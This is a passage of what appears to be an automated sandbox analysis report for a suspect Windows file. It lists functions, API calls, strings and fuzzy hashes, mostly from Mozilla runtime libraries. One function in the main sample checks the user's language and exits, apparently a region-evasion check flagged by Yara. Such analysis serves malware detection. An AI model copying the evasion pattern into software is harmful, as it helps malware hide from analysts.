Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 06c5c04f611a689982775abc814ecb0606b6b1e868b446f39089d4cf291d061c
Instruction ID: bc38a7d3e1809a26fff767bcbe16b83954c646db65151f55e3afd238fbb070f2
Opcode Fuzzy Hash: 06c5c04f611a689982775abc814ecb0606b6b1e868b446f39089d4cf291d061c
Instruction Fuzzy Hash: F851A6726096019FD7229B2DC8806AE73B2AFD570FF95411CD51A53F00DB32F91ACB9A

Function 6C625D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625DC9
std::_Facet_Register.LIBCPMT ref: 6C625DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625E45

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: c227074aaef5cc6fd2c3f825f54a7a82fa4c2f7ecc09ed85a9daf77c78d3a273
Instruction ID: d59a9d4d62074e99474b7d419c1af0355542fe23a4c051e246e7f75653769d24
Opcode Fuzzy Hash: c227074aaef5cc6fd2c3f825f54a7a82fa4c2f7ecc09ed85a9daf77c78d3a273
Instruction Fuzzy Hash: 974160307002059FCB14EF69C8D8AAE77F5EF89318F548468E50A97791EB34D805CF59

Function 6C5FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5C31A7), ref: 6C5FCDDD

Strings

<jemalloc>, xrefs: 6C5FCF9F, 6C5FCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C5FCFA4, 6C5FCFB8

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: dd0bbb45aa1ebda2987c854878957b757dfe4b5ca1c69d2e0503aff968d0821a
Instruction ID: 3b0c28d126878923b15209955da3c414341ad03013cf409e5857301fddd3ebf1
Opcode Fuzzy Hash: dd0bbb45aa1ebda2987c854878957b757dfe4b5ca1c69d2e0503aff968d0821a
Instruction Fuzzy Hash: D631A6317402055BFB29EE65CC45BAE7775AB81758F20C424F625ABA80DB70E502CF99

Function 6C5CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5CF100: LoadLibraryW.KERNEL32(shell32,?,6C63D020), ref: 6C5CF122
Part of subcall function 6C5CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5CEDCC
CreateFileW.KERNEL32 ref: 6C5CEE08
free.MOZGLUE(00000000), ref: 6C5CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5CEE32

Part of subcall function 6C5CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5CEBB5
Part of subcall function 6C5CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5FD7F3), ref: 6C5CEBC3
Part of subcall function 6C5CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5FD7F3), ref: 6C5CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5CEDC1

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 121872ca4725f2ea9bc232081735533d3fb3256b6702e3aafb5eb2ae1737522c
Instruction ID: dbc3a35c1e21f317ce6ecd19c3acf40dce091f4986e472a2e143677ebdddc0b6
Opcode Fuzzy Hash: 121872ca4725f2ea9bc232081735533d3fb3256b6702e3aafb5eb2ae1737522c
Instruction Fuzzy Hash: 1851C271E05214DBDB00DFA8CC826EEB7B0AF99358F44992DE8556B740E7706948CBA3

Function 6C63A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C63A565

Part of subcall function 6C63A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63A4BE
Part of subcall function 6C63A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C63A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C63A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C63A6B6

Strings

0, xrefs: 6C63A5FB
z, xrefs: 6C63A6AE

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 57d8df469e0a6e630600a80f93fb3f641379bdac14aff55a8dc96896c8d51d0a
Instruction ID: fa9217e1d5df81b894691063e93726f08b92baf5fd3bc0783da1d6cac6235350
Opcode Fuzzy Hash: 57d8df469e0a6e630600a80f93fb3f641379bdac14aff55a8dc96896c8d51d0a
Instruction Fuzzy Hash: 5A414871A087459FC741DF68C480A8FBBE4BFCA354F40AA2EF49987651E730D549CB86

Function 6C609420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
__Init_thread_footer.LIBCMT ref: 6C60949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C609459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C60947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C60946B

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 92adfeb78de334deabcc62053a2bdf03d89760a9cbca5d4ab9cf78916e9eb350
Instruction ID: 1df93ff6169b16b6cbe1c7ac1e5e99916ca9d4d2fda65a9da0547b5c4e95d727
Opcode Fuzzy Hash: 92adfeb78de334deabcc62053a2bdf03d89760a9cbca5d4ab9cf78916e9eb350
Instruction Fuzzy Hash: E8012830B0010187D714AB5EDA40ACA33B6DF0536DF05C536E906D6B42EA22D8658D5F

Function 01016770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 01016774
ExitProcess.KERNEL32 ref: 010167A5
ExitProcess.KERNEL32 ref: 010167AF
ExitProcess.KERNEL32 ref: 010167B9
ExitProcess.KERNEL32 ref: 010167C3
ExitProcess.KERNEL32 ref: 010167CD

Strings

*, xrefs: 0101678C

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f514d1cca8c2d2aa011100ef876457be3ccbc2d4c1fbcdeed71a595baf092273
Instruction ID: 57179265e7cb2b1899184b01cc555a12acbe1316ce2e2a3aa2fe653d52b95828
Opcode Fuzzy Hash: f514d1cca8c2d2aa011100ef876457be3ccbc2d4c1fbcdeed71a595baf092273
Instruction Fuzzy Hash: 4CF03A34984209EFE368DFE0B90D76C7B70FB04702F040198F74B87284E6754A419B95

Function 6C63B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C63B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C63B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C63B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C63B5F4
__Init_thread_footer.LIBCMT ref: 6C63B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C63B61F
std::_Facet_Register.LIBCPMT ref: 6C63B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63B655

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 618b3f60c41178d0e50cf357984c608d3d38a058c7339ac125fa64fc0fd82250
Instruction ID: 1479cd522143159eadecc77e8c81b0739fd9ea4a0775f0665f34cbca85d0dcc9
Opcode Fuzzy Hash: 618b3f60c41178d0e50cf357984c608d3d38a058c7339ac125fa64fc0fd82250
Instruction Fuzzy Hash: 5C318471B00514CBCB04EF6AC8949AEB7F5EBC6329F148565D91697740DB30A806CF9A

Function 6C5FD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5CEB57,?,?,?,?,?,?,?,?,?), ref: 6C5FD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5CEB57,?), ref: 6C5FD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5CEB57,?), ref: 6C5FD673
free.MOZGLUE(?), ref: 6C5FD888

Strings

|Enabled, xrefs: 6C5FD81E
W\l, xrefs: 6C5FD5D9, 6C5FD63F

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W\l$|Enabled
API String ID: 4142949111-1860622590
Opcode ID: 5e7139faa8ed94366c1ad6c6087c676445bf48dc9659d2f963a09a1a21b25b95
Instruction ID: cd282508b4fbb44e8c79b7e829fb55910c83f5f3d316a6671a10ca1758c25ac4
Opcode Fuzzy Hash: 5e7139faa8ed94366c1ad6c6087c676445bf48dc9659d2f963a09a1a21b25b95
Instruction Fuzzy Hash: 6EA1F370A01308CFDB15DF69C8907AEBBF1AF4A318F14845CD8A9AB741D735A846CFA1

Function 6C611D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C611D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C611BE3,?,?,6C611D96,00000000), ref: 6C611D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C611BE3,?,?,6C611D96,00000000), ref: 6C611D4C
GetCurrentThreadId.KERNEL32 ref: 6C611DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C611DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C611DDA

Part of subcall function 6C611EF0: GetCurrentThreadId.KERNEL32 ref: 6C611F03
Part of subcall function 6C611EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C611DF2,00000000,00000000), ref: 6C611F0C
Part of subcall function 6C611EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C611F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C611DF4

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 2f6ae25598b91b889b5ea630525f77278e85f147f7f20f35b57fc5501f597155
Instruction ID: a030ac78bec3b4807dd6536e98538d4175c4751960b50d0c5b102e5a873f91e1
Opcode Fuzzy Hash: 2f6ae25598b91b889b5ea630525f77278e85f147f7f20f35b57fc5501f597155
Instruction Fuzzy Hash: FB418BB56047049FCB10DF29C888A5ABBF9FF89318F10846DE95A87B41CB71F814CB99

Function 6C6084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6085AC

Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60767F
Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C607693
Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6085B2

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 971c5d308855dfda1ad7c7dfbbf38e67c9430c7d09c86c9db0d4b9c61c6797c9
Instruction ID: 60617095c7f1371ff721013b98745b418f7a3bde70f5c1420839065037e7667c
Opcode Fuzzy Hash: 971c5d308855dfda1ad7c7dfbbf38e67c9430c7d09c86c9db0d4b9c61c6797c9
Instruction Fuzzy Hash: 6C21A3743006019FDB19DF25C888A5A77B5AF8930DF24882DE55BD3B41DB32F948CB59

Function 6C60F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F561

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60F577
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F585
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C60F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C60F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C60F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C60F499

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e407e1350ac451a5fc7379847cedbeecbaff4c3046b82c18f9a7f2c6ed72cf4e
Instruction ID: 25a4f2503e7b2589e15691826098b65cda557280f792d49c8a3742f0f93caff6
Opcode Fuzzy Hash: e407e1350ac451a5fc7379847cedbeecbaff4c3046b82c18f9a7f2c6ed72cf4e
Instruction Fuzzy Hash: 2BF054757006049BDB007F66D888E5E77BDEFC62ADF00C425EA0593702DF754805876E

Function 6C6005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5FCFAE,?,?,?,6C5C31A7), ref: 6C6005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5FCFAE,?,?,?,6C5C31A7), ref: 6C600616
